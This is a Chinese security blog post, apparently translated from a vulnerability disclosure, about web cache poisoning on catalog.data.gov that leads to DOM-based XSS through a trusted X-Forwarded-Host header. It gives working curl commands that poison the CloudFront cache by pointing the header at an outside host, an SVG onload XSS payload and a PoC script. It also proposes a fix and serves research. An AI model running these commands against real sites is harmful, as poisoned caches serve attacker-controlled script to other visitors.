• 欢迎访问挑战自我博客网站,安全研究,web渗透,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站,欢迎加入挑战自我博客网站 网站主页

WEB缓存投毒攻击技术研究

1、文章背景

在对catalog.data.gov这个站点的渗透测试过程中,发现了web缓存投毒攻击的一个好玩的应用案例,分享给大家。

2、文章详述

通过web缓存投毒,catalog.data.gov 这个站点能产生DOMXSS漏洞

WEB缓存投毒攻击技术研究

攻击者可以污染catalog.data.gov这个站点的多个页面,从而导致他们能够在一个正常的用户访问页面时执行恶意的JS代码

根本问题是服务器信任 X-Forwared-Host HTTP头 ,并使用它在body标记上填充“data-site-root”和“data-locale-root”属性 。一些JavaScript从这些属性中指定的URL获取JSON文件,并将响应写入页面而不转义,从而导致DOMXSS漏洞。

这个行为本身是无害的,因为我不能是受害者发送一个恶意的http头。幸运的是,我能确信这个发给我的被污染的响应是已经被CloudFront缓存了的,也就是说我的有效payload可以被其他用户访问。

研究这个案例的时候请特别注意,因为这个很容易意外地污染CloudFront的缓存并对访问者产生危害。为了安全的复现这个漏洞,你可以利用如下步骤来实现:

1、首先利用curl命令来污染web缓存,命令如下:

curl -i -s -k -X $'GET' -H $'Host: catalog.data.gov' -H $'Accept-Encoding: gzip, deflate' -H $'Accept: /' -H $'Accept-Language: en' -H $'User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)' -H $'x-forwarded-host: portswigger-labs.net/catalog.data.gov_json_xss/json.php?' -H $'Connection: close' $'https://catalog.data.gov/dataset/consumer-complaint-database?dontpoisoneveryone=6' > /dev/null

2、访问这个被污染的页面:

https://catalog.data.gov/dataset/consumer-complaint-database?dontpoisoneveryone=6

3、等待一会,观察我们注入的弹出的alert(document.domain)窗口

整个过程,第一步是利用data-site-root的值 ‘portswigger-labs.net/catalog.data.gov_json_xss/json.php’来污染缓存。第二步,一些JS代码从portswigger-labs.net这个站点抓取了我的json.php,然后使用我们的“show more”JSON属性将 https://catalog.data.gov/dataset/consumer-complaint-database 上的“show more”转换为

Mostrar ms<svg onload=alert(document.domain)>

WEB缓存投毒攻击技术研究

下面这个是部分JS代码

var template_more = ['<tr class="toggle-show toggle-show-more">', '<td colspan="' + cols + '">', '<small>', '<a href="#" class="show-more">' + this.i18n('show_more') + '</a>', '<a href="#" class="show-less">' + this.i18n('show_less') + '</a>', '</small>', '</td>', '</tr>'].join('\n');

3、漏洞修复与改进的POC测试

为了修复这个问题,我建议做好X-Forwared-Host这个头部字段的转义工作。

下面这个是改进的POC测试代码,它是用时间戳来规避缓存问题的:

执行下列命令:

url=https://catalog.data.gov/dataset/consumer-complaint-database?dontpoisoneveryone=$(date +%s) && curl -i -s -k -H $'Host: catalog.data.gov' -H $'Accept-Encoding: gzip, deflate' -H $'Accept: /' -H $'Accept-Language: en' -H $'User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)' -H $'x-forwarded-host: portswigger-labs.net/catalog.data.gov_json_xss/json.php?' -H $'Connection: close' $url | fgrep portswigger && echo -e "\n\n$url"

这一步在最后一行可以打印出一个URL,如下所示:

https://catalog.data.gov/dataset/consumer-complaint-database?dontpoisoneveryone=1515773700

如果你没有看到这个URL,可能就是发生了一些错误,再等待一定时间,或者可以试试Chrome浏览器。


挑战自我博客, 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权 , 转载请注明WEB缓存投毒攻击技术研究
喜欢 (7)
支付宝[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
(1)个小伙伴在吐槽
  1. 来看看,因为,总能学到东西!
    xing2018-11-12 08:35 回复